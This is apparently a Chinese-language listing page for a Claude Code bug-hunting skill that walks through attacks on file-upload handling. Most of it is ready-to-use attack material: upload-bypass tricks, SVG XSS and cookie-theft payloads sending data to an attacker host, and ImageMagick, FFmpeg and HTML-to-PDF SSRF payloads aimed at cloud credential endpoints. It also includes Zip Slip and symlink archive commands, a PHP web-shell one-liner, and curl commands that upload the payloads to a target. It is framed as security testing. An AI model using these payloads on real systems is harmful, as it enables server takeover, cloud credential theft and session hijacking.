关于 hunt-file-upload
hunt-file-upload 是评估文件上传处理及相关处理流程的安全测试技能,整理验证绕过手法,并检查 XSS、XXE、SSRF 和归档路径穿越等风险。
主要功能
- 01扩展名、MIME 与文件头绕过
- 02SVG、Office 文档及归档攻击检查
- 03ImageMagick 与 FFmpeg 处理测试
- 04HTML 转 PDF 的 SSRF 检查
- 05影响与可复现性验证
适用场景
- 01测试上传验证和文件类型处理
- 02评估图像与媒体处理中的 SSRF
- 03检查归档解压的路径穿越风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-file-upload安装后在 Claude Code 中输入/hunt-file-upload确认已加载。
详细介绍
9. 文件上传
Content-Type 绕过
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
文件上传绕过技术(10 种)
| 攻击 | 方法 | 防护 |
|---|---|---|
| 扩展名绕过 | shell.php.jpg、shell.pHp、shell.php5 | 使用允许列表 + 提取最终扩展名 |
| 空字节 | shell.php%00.jpg | 清理空字节 |
| 双扩展名 | shell.jpg.php | 仅允许单个扩展名 |
| MIME 欺骗 | Content-Type: image/jpeg,但正文为 .php 文件内容 | 验证魔数,而不是 MIME 标头 |
| 魔数前缀 | 在 PHP 代码前添加 GIF89a; | 解析整个文件,而不只是标头 |
| 多格式文件 | 同时是有效的 JPEG 和 PHP 文件 | 使用图像库处理;若文件无效则拒绝 |
| SVG JavaScript | <svg onload="..."> | 清理 SVG,或完全禁止 |
| DOCX 中的 XXE | Office ZIP 中的恶意 XML | 禁用外部实体 |
| ZIP 路径穿越 | 压缩包中含有 ../../../etc/passwd | 验证解压后的路径 |
| 文件名注入 | 文件名中包含 ; rm -rf / | 清理文件名 + 使用 UUID 命名 |
魔数参考
| 类型 | 十六进制 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
通过 SVG 实现存储型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg 漏洞利用
ImageMagick SSRF / 文件读取(ImageTragick 系列及现代变体)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
通过 HLS 播放列表实现 FFmpeg SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
无头 Chrome / PDF 生成器 SSRF
HTML → PDF 转换器攻击
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
压缩包解压攻击(ZIP 路径穿越 / 符号链接)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
相关技能与攻击链
hunt-rce— 在经典 PHP/JSP/ASPX 技术栈中,一旦发现可直接访问的上传目录,或发现由反序列化器处理的内容,文件上传就是最常见的 RCE 入侵途径。攻击链:利用多格式文件GIF89a;<?php system($_GET['c']);?>绕过魔数检查,再利用.phtml扩展名绕过允许列表 →GET /uploads/shell.phtml?c=id→ RCE;或者上传 PHPphar://文件至调用file_exists()检查攻击者控制路径的接收点 → PHP 对象反序列化 → RCE。hunt-xxe— Office 格式(DOCX/XLSX/PPTX)、SVG 和 SOAP 附件都是 ZIP 中的 XML,因此每个上传并解析文件的功能都可能存在潜在的 XXE 漏洞。攻击链:上传 DOCX,其中的[Content_Types].xml或word/document.xml包含一个参数实体 DTD,指向攻击者控制的 DTD → 盲 XXE 带外文件读取 → 通过文档解析器外传/etc/passwd或web.config。hunt-xss— 上传后在同一来源提供服务的 SVG、HTML 文件和 PDF 都可能导致存储型 XSS。攻击链:上传包含<script>fetch('//attacker/?'+document.cookie)</script>的 SVG → 受害者访问app.target.com/uploads/x.svg中的附件(同一来源,未经过沙盒隔离)→ 窃取 Cookie → 通过会话劫持实现 ATO。hunt-ssrf— 图像处理库(ImageMagick、ffmpeg)会从上传文件中获取远程 URL。攻击链:上传包含<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">的 SVG/MVG,或上传包含 ffmpegconcat:http://internal/...的文件 → SSRF 访问 AWS IMDS → 获取云凭据;ImageTragick CVE-2016-3714 系列在旧版服务器集群中仍然存在。security-arsenal— 使用文件上传绕过树:包含 10 行的扩展名/MIME/魔数绕过表(双扩展名、空字节、大小写变体、.phtml/.phar/.php5/.pht、上传.htaccess以重新启用处理器、在 IIS 上上传web.config)、SVG/MVG/SVGZ 载荷、DOCX-XXE 模板、压缩包中的 ZIP 路径穿越,以及多格式文件生成器。triage-validation— 应用可复现性门槛。文件上传成功,但从未被提供、执行或解析,不构成发现——它只是一个只写数据块。要确认严重级别的 RCE,必须通过上传的 Shell 实际完成whoami往返;要确认存储型 XSS,必须在受害者浏览器中触发弹窗,而不能只证明文件存在于磁盘上。
评论
支持 Markdown